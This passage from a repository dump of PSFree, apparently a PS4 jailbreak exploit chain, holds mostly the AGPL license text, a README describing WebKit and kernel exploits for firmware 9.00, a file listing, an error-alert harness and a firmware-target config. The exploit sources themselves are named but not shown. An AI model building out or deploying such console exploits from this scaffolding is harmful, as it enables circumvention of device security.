includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published by 637 | the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PSFree version 1.5.0 2 | 3 | Lapse Kex ported to 9.00 - Still WIP 4 | 5 | Very fast and reliable but can KP :P 6 | 7 | Warning: This repository is a work in progress. Do not use it by default—or better yet, don’t use it at all—until I and/or someone else declare it stable. There are issues with certain games, such as black screens, problems with save data, and multiple kernel panics. The offsets for PS4 9.00 still need to be verified. If you choose to use it, do so at your own risk. 8 | 9 | TODO: 10 | - Needs a bin loader on Port 9020. 11 | - Some performance Tweaks??. 12 | 13 | PR are welcome 14 | 15 | PSFree is a collection of exploits for the PS4 console. The main focus of the 16 | repo is for the PS4 but we try to make things portable to PS5. 17 | 18 | * Exploits 19 | * PSFree: src/psfree.mjs 20 | * Lapse (kernel): src/scripts/lapse.mjs 21 | 22 | Donation [abc developer] (Monero/XMR): 23 | 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS 24 | 25 | # COPYRIGHT AND AUTHORS: 26 | AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group 27 | `anonymous`. We refer to anonymous contributors as "anonymous" as well. 28 | # CREDITS: 29 | * anonymous for PS4 firmware kernel dumps 30 | * Check the appropriate files for any **extra** contributors. Unless otherwise 31 | stated, everything here can also be credited to us. 32 | -------------------------------------------------------------------------------- /about.html: -------------------------------------------------------------------------------- 1 | 18 | 19 | 20 | 21 | About PSFree 22 | 23 | 24 | PSFree is an exploit chain for PS4 and PS5.
25 | PSFree is free software. See COPYING for the copyleft information.
26 | PSFree's license is GNU-AGPL-3.0-or-later.
27 | Here is the source code of this program:
28 |
29 | HTML files:
30 | index.html
31 | about.html
32 | JavaScript files:
33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 |
psfree.mjsGNU-AGPL-3.0-or-laterdownload
alert.mjsGNU-AGPL-3.0-or-laterdownload
config.mjsGNU-AGPL-3.0-or-laterdownload
send.mjsGNU-AGPL-3.0-or-laterdownload
scripts/lapse.mjsGNU-AGPL-3.0-or-laterdownload
rop/800.mjsGNU-AGPL-3.0-or-laterdownload
module/chain.mjsGNU-AGPL-3.0-or-laterdownload
module/int64.mjsGNU-AGPL-3.0-or-laterdownload
module/view.mjsGNU-AGPL-3.0-or-laterdownload
module/memtools.mjsGNU-AGPL-3.0-or-laterdownload
module/utils.mjsGNU-AGPL-3.0-or-laterdownload
module/rw.mjsGNU-AGPL-3.0-or-laterdownload
module/offset.mjsGNU-AGPL-3.0-or-laterdownload
module/mem.mjsGNU-AGPL-3.0-or-laterdownload
105 | kpatch/ files:
106 | kpatch/utils.h
107 | kpatch/script.ld
108 | kpatch/Makefile
109 | kpatch/80x.c
110 | kpatch/types.h
111 | fonts/ files:
112 | fonts/README.txt
113 | fonts/FONTS.LICENSE
114 | fonts/LiberationMono-Regular.ttf
115 | 116 | 117 | -------------------------------------------------------------------------------- /alert.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2025 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // We can't just open a console on the ps4 browser, make sure the errors thrown 19 | // by our program are alerted. 20 | 21 | // We don't use a custom logging function to avoid a dependency on a logging 22 | // module since we want this file to stand alone. We don't want to copy the 23 | // log function here either for the sake avoiding dependencies since using 24 | // alert() is good enough. 25 | 26 | // We log the line and column numbers as well since some exceptions (like 27 | // SyntaxError) do not show it in the stack trace. 28 | 29 | addEventListener('unhandledrejection', event => { 30 | const reason = event.reason; 31 | alert( 32 | 'Unhandled rejection\n' 33 | + `${reason}\n` 34 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n` 35 | + `${reason.stack}` 36 | ); 37 | }); 38 | 39 | addEventListener('error', event => { 40 | const reason = event.error; 41 | alert( 42 | 'Unhandled error\n' 43 | + `${reason}\n` 44 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n` 45 | + `${reason.stack}` 46 | ); 47 | return true; 48 | }); 49 | 50 | // we have to dynamically import the program if we want to catch its syntax 51 | // errors 52 | import('./psfree.mjs'); 53 | -------------------------------------------------------------------------------- /cache.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | PSFree-Lapse Exploit For PS4 9.00 4 | 5 | 10 | 19 | 20 | 21 |
22 | 23 | -------------------------------------------------------------------------------- /config.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2025 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // webkitgtk 2.34.4 was used to develop the portable parts of the exploit 19 | // before moving on to ps4 8.03 20 | // 21 | // webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable 22 | // can affect the size of SerializedScriptValue 23 | // 24 | // this target is no longer supported 25 | 26 | // target firmware format used by PSFree 27 | // 28 | // 0xC_MM_mm 29 | // 30 | // * C console - PS4 (0) or PS5 (1) (1 bit) 31 | // * MM major version - integer part of the firmware version (8 bits) 32 | // * mm minor version - fractional part of the firmware version (8 bits) 33 | // 34 | // examples: 35 | // * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00 36 | // * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51 37 | 38 | // check if value is in Binary Coded Decimal format 39 | // assumes integer and is in the range [0, 0xffff] 40 | function check_bcd(value) { 41 | for (let i = 0; i <= 12; i += 4) { 42 | const nibble = (value >>> i) & 0xf; 43 | 44 | if (nibble > 9) { 45 | return false; 46 | } 47 | } 48 | 49 | return true; 50 | } 51 | 52 | export function set_target(value) { 53 | if (!Number.isInteger(value)) { 54 | throw TypeError(`value not an integer: ${value}`); 55 | } 56 | 57 | if (value >= 0x20000 || value < 0) { 58 | throw RangeError(`value >= 0x20000 or value < 0: ${value}`); 59 | } 60 | 61 | const version = value & 0xffff; 62 | if (!check_bcd(version)) { 63 | throw RangeError(`value & 0xffff not in BCD format ${version}`); 64 | } 65 | 66 | target = value; 67 | } 68 | 69 | export let target = null; 70 | set_target(0x900); 71 | -------------------------------------------------------------------------------- /fonts/FONTS.LICENSE: -------------------------------------------------------------------------------- 1 | Digitized data copyright (c) 2010 Google Corporation 2 | with Reserved Font Arimo, Tinos and Cousine. 3 | Copyright (c) 2012 Red Hat, Inc. 4 | with Reserved Font Name Liberation. 5 | 6 | This Font Software is licensed under the SIL Open Font License, 7 | Version 1.1. 8 | 9 | This license is copied below, and is also available with a FAQ at: 10 | http://scripts.sil.org/OFL 11 | 12 | SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 13 | 14 | PREAMBLE The goals of the Open Font License (OFL) are to stimulate 15 | worldwide development of collaborative font projects, to support the font 16 | creation efforts of academic and linguistic communities, and to provide 17 | a free and open framework in which fonts may be shared and improved in 18 | partnership with others. 19 | 20 | The OFL allows the licensed fonts to be used, studied, modified and 21 | redistributed freely as long as they are not sold by themselves. 22 | The fonts, including any derivative works, can be bundled, embedded, 23 | redistributed and/or sold with any software provided that any reserved 24 | names are not used by derivative works. The fonts and derivatives, 25 | however, cannot be released under any other type of license. The 26 | requirement for fonts to remain under this license does not apply to 27 | any document created using the fonts or their derivatives. 28 | 29 | 30 | 31 | DEFINITIONS 32 | "Font Software" refers to the set of files released by the Copyright 33 | Holder(s) under this license and clearly marked as such. 34 | This may include source files, build scripts and documentation. 35 | 36 | "Reserved Font Name" refers to any names specified as such after the 37 | copyright statement(s). 38 | 39 | "Original Version" refers to the collection of Font Software components 40 | as distributed by the Copyright Holder(s). 41 | 42 | "Modified Version" refers to any derivative made by adding to, deleting, 43 | or substituting ? in part or in whole ? 44 | any of the components of the Original Version, by changing formats or 45 | by porting the Font Software to a new environment. 46 | 47 | "Author" refers to any designer, engineer, programmer, technical writer 48 | or other person who contributed to the Font Software. 49 | 50 | 51 | PERMISSION & CONDITIONS 52 | 53 | Permission is hereby granted, free of charge, to any person obtaining a 54 | copy of the Font Software, to use, study, copy, merge, embed, modify, 55 | redistribute, and sell modified and unmodified copies of the Font 56 | Software, subject to the following conditions: 57 | 58 | 1) Neither the Font Software nor any of its individual components,in 59 | Original or Modified Versions, may be sold 